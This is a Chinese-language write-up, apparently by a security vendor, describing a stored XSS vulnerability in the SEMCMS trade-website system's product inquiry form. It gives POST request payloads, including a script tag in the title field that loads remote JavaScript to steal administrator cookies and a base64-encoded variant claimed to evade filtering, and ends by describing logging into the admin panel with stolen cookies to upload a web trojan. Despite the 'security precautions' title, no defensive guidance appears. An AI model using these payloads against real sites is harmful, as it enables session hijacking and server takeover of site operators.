semcms 网站漏洞挖掘过程与安全防范(详解)



         emcms是国内第一个开源外贸的网站管理系统,目前大多数的外贸网站都是用的semcms

系统,该系统兼容许多浏览器,像IE,google,360极速浏览器都能非常好的兼容,官方semcms有

php版本,asp版本,我们SINE对其安全检测的同时发现该系统存在高危的网站漏洞,该漏洞影响

版本semcms 2.6 2.7 2.8,包括目前最新的semcms 3.2版本漏洞。

 
 
我们来下载最新版本的semcms系统到我们本地电脑,打开发现网站采用的是php+mysql架构开

发的系统,phpstudy配置PHP环境以及mysql数据库环境,网站搭建起来,如下图,这个是前

端:

 
这个是网站的后台系统:
 
该漏洞是在网站产品的留言功能里发现的,存在着XSS跨站漏洞,点击询盘我们抓包来看下数据包

里的内容,发现可以更改tile标题这个值,通过修改留言标题的这个值我们伪造发送到服务器端

去,并随即登录网站后台查看到留言,并执行了我们的XSS代码,构造的代码如下:


 
title=安全测试
 
"><img>&content=88888888&Company=&Name=8888888&mail=8888888qq.com&Ph

one=13888888888&Fax=&Region=9999999999&Home=&yzm=6789&Submit=Submit
 
我们直接post过去,看到html标签栏里是否存在xss漏洞,semcms已经过滤了一些常用的XSS代

码,所以一些简单的弹窗测试漏洞都屏蔽了,只能使用一些加密的特殊xss跨站代码。我们来构

造一下可以获取管理员的cookies值的一个代码:


title=1111<script src="https://www.sinesafe.com/c"></script>安全测试

&content=66666666&Company=&Name=8888888&mail=888888@qq.com&Phone=13

58855555555&Fax=&Region=5888&Home=112233&yzm=7878&Submit=Submit

 
 
当我们发送过去后,发现网站会过滤掉一些//号,但是可以编码64位加密绕过直接post提交

过去。
加密可以绕过的代码:

 
title=1111

<script src="dGl0bGU9MTExMSZsdDtzY3JpcHQgc3JjPSJodHRwczovL3d3dy5zaW">

</script>安全测试

&content=66666666&Company=&Name=8888888&mail=888888@qq.com&Phon

e=1358855555555&Fax=&Region=5888&Home=112233&yzm=7878&Submit=Submit
 
发送过去我们发现提交成功并成功获取到了网站的管理员cookies值,我们利用cookies进行登录

后台,上传我们的网站木马到网站里去即可。
分享: